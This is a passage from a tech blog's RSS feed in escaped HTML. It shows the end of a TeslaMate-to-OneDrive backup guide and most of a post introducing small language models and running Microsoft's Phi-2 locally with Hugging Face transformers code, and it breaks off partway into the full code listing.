&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;time&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;2024-07-05T13:00:01-07:00&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;level&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;warning &lt;span style=&#34;color:#f4dbd6&#34;&gt;msg&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/home/amit/teslamate/docker-compose.yml: `version` is obsolete&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2024-07-05 13:00:30 - Database dump successful: teslamate-2024-07-05-130001.bak
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2024-07-05 13:00:55 - Successfully compressed teslamate-2024-07-05-130001.bak.gz
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2024-07-05 13:00:57 - Successfully moved backup to /home/amit/onedrive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2024-07-05 13:00:57 - Backup script completed successfully.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2024-07-05 13:00:59 - Email &lt;span style=&#34;color:#91d7e3&#34;&gt;command&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;exit&lt;/span&gt; code: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2024-07-05 13:00:59 - Email sent successfully&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;step-45---timezone-configuration&#34;&gt;Step 4.5 - Timezone Configuration&lt;/h3&gt;
&lt;p&gt;Note in most cloud-based VMs, the timezone is set to UTC; if you specify the time in your local timezone, you might want to set the timezone to your local timezone. You can do this by running the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo timedatectl set-timezone your-timezone&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Replace &lt;code&gt;your-timezone&lt;/code&gt; with the appropriate timezone (e.g., &lt;code&gt;America/Los_Angeles&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&amp;rsquo;s it! You now have a backup script that backs up your Teslamate data to OneDrive and sends email notifications about the backup status. The script runs automatically at the scheduled intervals, ensuring your data is backed up regularly. You can customize the script further based on your requirements and preferences. 🫰&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SLMs - Running Phi-3 on an iphone and locally</title>
      <link>/post/2024/05/running-phi3-on-device/</link>
      <pubDate>Wed, 08 May 2024 00:00:00 +0000</pubDate>
      
      <guid>/post/2024/05/running-phi3-on-device/</guid>
      <description>&lt;p&gt;We released Phi-3 recently, which builds on Phi-2 (&lt;a
	
		href = &#34;https://blog.desigeek.com/post/2024/03/running-phi2-locally/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		read more on that here
	&lt;/span&gt;
&lt;/a&gt;) and it is a great model to use for various tasks. In this post, we will show how to run Phi-3 locally including a demo of it running on a phone.&lt;/p&gt;
&lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;https://1drv.ms/v/s!Alx12BenmZ2yx6tK2CRER3Q-cuY9iw?e=b0bqTh&#34; type=&#34;video/webm&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;

&lt;h2 id=&#34;1-what-are-small-language-models-slms&#34;&gt;1. What are Small Language Models (SLMs)?&lt;/h2&gt;
&lt;p&gt;Before diving into running Phi-2 locally, let&amp;rsquo;s take a moment to understand the concept of small language models (SLMs) and their significance in natural language processing (NLP). A SLM is a type of AI model that has been trained on a massive dataset of text but is limited in terms of its size and capabilities compared to a Large Language Model (LLM). SLMs are designed to be more lightweight and efficient, making them suitable for various applications, including chatbots, language translation, and content generation. SLMs are much smaller than LLMs, with fewer parameters and a smaller dataset, so they have a lower computational cost, making them more suitable for edge or resource-constraint devices.&lt;/p&gt;
&lt;h2 id=&#34;2-what-is-phi-2&#34;&gt;2. What is Phi-2?&lt;/h2&gt;
&lt;p&gt;&lt;a
	
		href = &#34;https://www.microsoft.com/en-us/research/blog/phi-2-the-surprising-power-of-small-language-models/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Phi-2
	&lt;/span&gt;
&lt;/a&gt; is the latest model in the Phi series of small language models (SLMs) that aim to break the conventional scaling laws of language models. Unlike large language models (LLMs) that require massive amounts of data and compute resources, Phi models are trained on a mixture of web-crawled and synthetic &amp;ldquo;textbook-quality&amp;rdquo; data, following the idea of &lt;a
	
		href = &#34;https://arxiv.org/abs/2306.11644&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Textbooks Are All You Need
	&lt;/span&gt;
&lt;/a&gt;. Phi models also leverage innovations in model architecture, optimization, and data augmentation to achieve remarkable performance on various benchmarks. &amp;#x1f600;&lt;/p&gt;
&lt;p&gt;Phi-2 is twice as large as its predecessor Phi-1.5, and was trained for two weeks on a cluster of 96 A100 GPUs. It demonstrates outstanding reasoning and language understanding capabilities, showcasing state-of-the-art performance (for LLMs &amp;lt;13 billion parameters).&lt;/p&gt;
&lt;p&gt;As shown in the figure below on complex benchmarks, Phi-2 matches or outperforms models up to 25x larger, such as Llama-2 and Gemini Nano. Phi-2 is also an ideal playground for researchers, as it allows for exploration around mechanistic interpretability, safety improvements, or fine-tuning experimentation on various tasks. Phi-2 is available in the &lt;a
	
		href = &#34;https://learn.microsoft.com/en-us/azure/ai-studio/what-is-ai-studio?tabs=home&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure AI Studio
	&lt;/span&gt;
&lt;/a&gt; (via the &lt;a
	
		href = &#34;https://ai.azure.com/explore/models/microsoft-phi-2/version/4/registry/azureml-msr&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		model catalog
	&lt;/span&gt;
&lt;/a&gt;) and on Hugging Face.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2.png&#34; alt=&#34;Phi-2 Evaluation&#34;/&gt;
        &lt;figcaption&gt;Phi-2 Evaluation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;21-phi-2s-capabilities&#34;&gt;2.1 Phi-2&amp;rsquo;s Capabilities&lt;/h3&gt;
&lt;p&gt;What better way to show this other than Some prompts that Phi-2 can handle:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Creative Writing&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Write a short story about a time-traveling computer geek who discovers a secret algorithm book with the power to change computing history.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🤖 Phi2-Generated output:&lt;/strong&gt; &amp;ldquo;In the dimly lit archives of the ancient library, Amelia stumbled upon a dusty tome unlike any other. Its pages whispered secrets of forgotten civilizations and whispered promises of altered destinies. As she traced her fingers over the delicate script, the room seemed to blur, and suddenly, she was standing in the heart of Renaissance Florence. The air smelled of ink and ambition. The book had worked its magic, and Amelia knew she held the fate of empires in her hands.&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Philosophical Reflection&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Discuss the concept of free will versus determinism.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🤖 Phi2-Generated output:&lt;/strong&gt; &amp;ldquo;Free will and determinism have long been at odds in philosophical discourse. Some argue that our choices are predetermined by external factors—genetics, upbringing, societal norms—while others champion the idea that we possess true agency. Perhaps the truth lies in the delicate dance between the two. We navigate life&amp;rsquo;s labyrinth, sometimes guided by fate, other times forging our own path.&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Educational Explanation&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Explain the process of photosynthesis in simple terms.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🤖 Phi2-Generated output:&lt;/strong&gt; &amp;ldquo;Photosynthesis, the magical dance of plants and sunlight, is how they create their own food. Imagine tiny chlorophyll factories in leaves, capturing sunlight like solar panels. They convert that energy into chemical fuel—glucose—while releasing oxygen as a byproduct. So next time you breathe in that fresh air, thank a leaf for its photosynthetic prowess!&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Humorous Scenario&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Describe a day in the life of a mischievous squirrel.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🤖 Phi2-Generated output:&lt;/strong&gt; &amp;ldquo;Meet Nutty, the squirrel extraordinaire. His mornings begin with acorn heists, followed by elaborate treehouse construction. He&amp;rsquo;s the neighborhood&amp;rsquo;s unofficial alarm clock, chattering loudly at dawn. But his pièce de résistance? Prank-calling the crows, convincing them they&amp;rsquo;ve won a lifetime supply of shiny objects. Nutty&amp;rsquo;s motto: &amp;lsquo;Life&amp;rsquo;s too short not to be a little nuts.&amp;rsquo;&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;3-small-language-models-slms-vs-large-language-models-llms&#34;&gt;3. Small Language Models (SLMs) vs Large Language Models (LLMs)&lt;/h2&gt;
&lt;p&gt;Large Language Models (LLMs) are a type of AI model that is much larger and more powerful than SLMs. LLMs have hundreds of billions of parameters and are trained on massive text datasets. This gives LLMs the ability to handle complex tasks, such as language generation, translation, and question answering, with high accuracy and fluency. However, LLMs also have some disadvantages. They are larger, making them more expensive and slower to train. They also have a higher computational cost, meaning they may require access to specialized hardware.&lt;/p&gt;
&lt;p&gt;On the other hand, SLMs, as we called out, are smaller and more lightweight than LLMs, making them more efficient and cost-effective in training computing resources and inference. While it might seem that SLMs are also more suitable for edge or resource-constrained devices, such as mobile phones or IoT devices, they are small compared to LLMs but still require significant computational resources to run. Phi-2, for example, still has 2.7B parameters, and while it can make inferences on a CPU, it is very slow and impractical for real-time applications. One would need a GPU or a cloud-based service for any realistic use case.&lt;/p&gt;
&lt;h3 id=&#34;31-when-to-use-slm-vs-llm&#34;&gt;3.1 When to use SLM vs LLM?&lt;/h3&gt;
&lt;p&gt;Firstly, neither model is inherently better - the choice between an SLM and an LLM depends on the specific application and requirements. SLMs are a good choice when size, cost, and speed are important considerations. LLMs are a better choice when high performance and complex capabilities are required. If a task at hand is quite narrow and in one of the supported languages, then SLMs might be good. However, for a given task, an SLM may be sufficient, but an LLM may be necessary for more complex tasks or tasks requiring high accuracy and fluency.&lt;/p&gt;
&lt;p&gt;Furthermore, it is key to understand that it is not necessarily about the number of languages understood but rather the depth and nuance with which each model can understand and generate language. SLMs are designed to be efficient and effective within their scope, which may include a wide range of languages. LLMs like GPT-4, due to their size and complexity, often can understand and generate text in a larger number of languages and with greater nuance.&lt;/p&gt;
&lt;p&gt;The choice between an SLM and an LLM would again depend on the specific requirements of the task, including the languages involved and the level of language understanding and generation needed. Using a combination of SLMs and LLMs is common to achieve the best results for a given application.&lt;/p&gt;
&lt;h2 id=&#34;4-running-phi-2-locally&#34;&gt;4. Running Phi-2 locally&lt;/h2&gt;
&lt;p&gt;On one hand, running this is simple if you just don&amp;rsquo;t want to program anything and only want to use the model. The easiest option in this case is to use [LM &lt;a
	
		href = &#34;https://lmstudio.ai/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Studio
	&lt;/span&gt;
&lt;/a&gt;, a web-based platform for running language models. You can use the Hugging Face API to download and run the model.&lt;/p&gt;
&lt;p&gt;We use a simple console chat example that runs locally. We use the Hugging Face Transformers library to generate text based on user input. The user can generate a story, a haiku, or a joke on a topic of their choice. Here is how to run it locally on a Windows machine - the same should apply to a Mac or Linux machine.&lt;/p&gt;
&lt;p&gt;The full code is below, but here are the key aspects to grok when running Phi-2 locally.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The key is to use the &lt;code&gt;AutoModelForCausalLM&lt;/code&gt; and &lt;code&gt;AutoTokenizer&lt;/code&gt; classes from the &lt;code&gt;transformers&lt;/code&gt; library to load the Phi-2 model and tokenizer.&lt;/li&gt;
&lt;li&gt;We then use the &lt;code&gt;generate&lt;/code&gt; method to generate text based on a user prompt. The &lt;code&gt;generate&lt;/code&gt; method takes the user prompt as input and returns the generated text&lt;/li&gt;
&lt;li&gt;We use the &lt;code&gt;from_pretrained&lt;/code&gt; method to load the model and tokenizer from the Hugging Face model hub.&lt;/li&gt;
&lt;li&gt;We also use the &lt;code&gt;save_pretrained&lt;/code&gt; method to save the model and tokenizer to a local directory. This allows us to load the model and tokenizer from the local directory if they are already saved, which can help save time and resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following code snippet is what loads the model and the tokenizer:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the model and tokenizer from Hugging Face&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                            torch_dtype&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;auto&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                            trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                         trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And the following is where we encode the user input and call the generation. First, we create tokens of the user prompt; the resulting tokens are returned as PyTorch tensors. Then, the model generates text based on the tokenized input. We cap the tokens to a maximum of 500 tokens, and the end-of-sequence token is used for padding if necessary. Finally, the generated tokens are decoded back into human-readable text.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(prompt,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                   return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                   return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                   add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;inputs,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                         max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;500&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                         pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;batch_decode(outputs)[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The full code is below. The code is a simple console chat example that runs locally. The user can generate a story, a haiku, or a joke on a topic of their choice.&lt;/p&gt;
&lt;p&gt;Some examples of what Phi-2 can generate using the above code are shown below. The first is a story about pandas and dogs.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-1.png&#34; alt=&#34;Story about Pandas and Dogs&#34;/&gt;
        &lt;figcaption&gt;Story about Pandas 🐼 and Dogs 🐶&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Here is another example of a Haiku and a Joke generated by Phi-2 on Pandas.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-2.png&#34; alt=&#34;Story about Pandas and Dogs&#34;/&gt;
        &lt;figcaption&gt;Haiku and Joke about Pandas 🐼&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Switching gears, let&amp;rsquo;s look at how we can implement the RAG using Phi-2.&lt;/p&gt;
&lt;h3 id=&#34;41-running-phi-2-locally---full-code&#34;&gt;4.1 Running Phi-2 Locally - Full Code&lt;/h3&gt;
&lt;p&gt;The following code is the complete code that executes the examples we showed before for running Phi-2 locally. This can work on a CPU, but it is very slow, and a good GPU is strongly suggested.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
